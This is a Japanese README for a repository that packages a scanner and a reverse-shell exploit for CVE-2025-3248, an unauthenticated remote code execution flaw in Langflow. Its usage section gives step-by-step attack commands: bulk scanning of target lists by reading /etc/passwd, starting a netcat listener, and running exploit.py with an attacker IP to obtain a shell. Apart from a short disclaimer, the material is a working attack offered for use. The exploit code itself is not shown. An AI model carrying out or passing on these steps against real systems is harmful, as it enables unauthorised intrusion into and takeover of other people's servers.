CVE-2025-3248: Langflow の未認証リモートコード実行（RCE）

このリポジトリには2つの Python スクリプトが含まれています：

• LangflowCheck.py: CVE-2025-3248 に脆弱な Langflow AI インスタンスをチェックするスキャナです。
• exploit.py: 脆弱な Langflow ターゲットに対する動作するリバースシェルエクスプロイトです。

概要

CVE-2025-3248 は Langflow AI における重大な脆弱性で、未認証の攻撃者が /api/v1/validate/code への巧妙に細工されたペイロードを介して、リモートで任意の Python コードを実行できるようにします。

ファイル

LangflowCheck.py

• /etc/passwd を読み取る無害なペイロードの実行を試みることで、ターゲットが脆弱かどうかをチェックします。
• 単一のターゲットまたは URL のリストをスキャンできます。
• 脆弱なターゲットをファイルに出力することをサポートします。

exploit.py

• 脆弱なエンドポイントにリバースシェルペイロードを送信します。
• 攻撃者の IP（lhost）とリスナーポート（lport）が必要です。
• アクティビティを exploit.log に記録します。
• ペイロード送信前のリスナーチェックをサポートします。

使用方法

1. 依存関係のインストール

pip install -r requirements.txt

2. 脆弱性スキャナの実行

単一 URL

python3 LangflowCheck.py --url http://target.com --output vulnerable_target.txt

複数ターゲット

python3 LangflowCheck.py --file targets.txt --output vulnerable_targets.txt

3. ターゲットの悪用

まず、リスナーを起動します

sudo nc -nvlp 4444

次に、エクスプロイトを実行します：

python3 exploit.py --target http://target.com --lhost YOUR_IP --lport 4444

ターゲットが脆弱な場合、シェルが取得できるはずです。

⚠️ 免責事項

このエクスプロイトは教育目的および許可を得たセキュリティテスト専用です。所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。

公式チャンネル

• YouTube @rootctf
• X @r0otk3r